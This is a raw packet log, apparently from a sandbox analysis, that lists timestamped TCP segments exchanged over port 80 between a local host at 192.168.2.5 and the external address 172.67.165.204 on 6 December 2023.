Dec 6, 2023 14:50:51.161382914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161387920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161417007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161451101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161452055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161485910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161521912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161542892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161576033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161611080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161621094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161644936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161679029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161679983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161714077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161746979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.161750078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162296057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162332058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162347078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162374973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162410021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162416935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162466049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162508011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162520885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162556887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162600040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162614107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162648916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162683010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162687063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.162717104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162750006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.162750959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163269997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163305044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163315058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163340092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163376093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163389921 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163409948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163444042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163451910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163479090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163512945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163525105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163546085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163579941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163582087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163614988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.163651943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.163666010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164242029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164277077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164280891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164391041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164426088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164428949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164480925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164515018 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164518118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164550066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164583921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164591074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164618015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164650917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164659977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164685965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164725065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.164731979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164781094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164818048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.164822102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165416956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165456057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165463924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165489912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165524006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165530920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165558100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165591002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165591955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165625095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165657997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165666103 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165690899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165724993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165729046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.165759087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165791988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.165793896 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166347980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166383982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166399002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166434050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166455030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166476011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166477919 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166497946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166512012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166520119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166555882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166557074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166579008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166618109 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166619062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166655064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.166691065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.166702032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167309999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167332888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167355061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167356968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.167426109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167434931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.167448997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167484999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167489052 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.167507887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167529106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167545080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.167610884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167634964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167649984 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.167658091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167699099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.167711020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168262959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168286085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168309927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168311119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168345928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168348074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168369055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168404102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168404102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168426037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168462038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168467045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168484926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168508053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168519974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168543100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.168579102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.168580055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169338942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169362068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169378042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.169398069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169434071 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.169476032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169603109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169636011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169641972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.169657946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169691086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.169692993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169728041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169749975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169764042 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.169771910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169792891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.169811010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170201063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170223951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170239925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170258045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170290947 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170294046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170316935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170337915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170351028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170428038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170450926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170469046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170474052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170495033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170511961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.170517921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170538902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.170551062 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171206951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171230078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171247959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171308994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171341896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171344995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171365976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171397924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171427011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171488047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171510935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171525002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171542883 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171565056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171577930 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171586990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171607971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171622038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.171629906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171650887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.171660900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172307968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172348022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172357082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172370911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172391891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172409058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172427893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172451019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172468901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172473907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172496080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172516108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172530890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172553062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172564983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.172593117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172615051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.172631025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173252106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173297882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173310995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173335075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173356056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173377037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173377991 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173398972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173410892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173419952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173455000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173456907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173479080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173501015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173513889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173521996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.173557043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.173571110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179347038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179385900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179413080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179435968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179471970 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179553032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179575920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179596901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179619074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179640055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179661036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179707050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179728031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179743052 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179750919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179771900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179785013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179792881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179822922 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179827929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179852009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179867983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179872990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179900885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179918051 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179923058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.179960966 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.179984093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180052042 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180083036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180090904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180104971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180140972 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180162907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180186033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180221081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180222034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180799961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180821896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180844069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180851936 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180876970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180893898 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180901051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180922985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180942059 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.180958986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.180995941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181015968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181037903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181072950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181073904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181097031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181119919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181133032 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181761980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181786060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181808949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181823969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181865931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181869030 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181888103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181910038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181929111 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.181931019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181955099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.181986094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182037115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182073116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182075977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182107925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182146072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182154894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182733059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182755947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182775974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182777882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182801008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182821035 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182822943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182857037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182857990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182905912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182928085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182950020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.182962894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.182985067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183001995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.183007002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183027983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183042049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.183759928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183783054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183800936 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.183836937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183875084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.183892012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.183964014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184000015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.184062958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.184101105 CET	80	49705	172.67.165.204	192.168.2.5
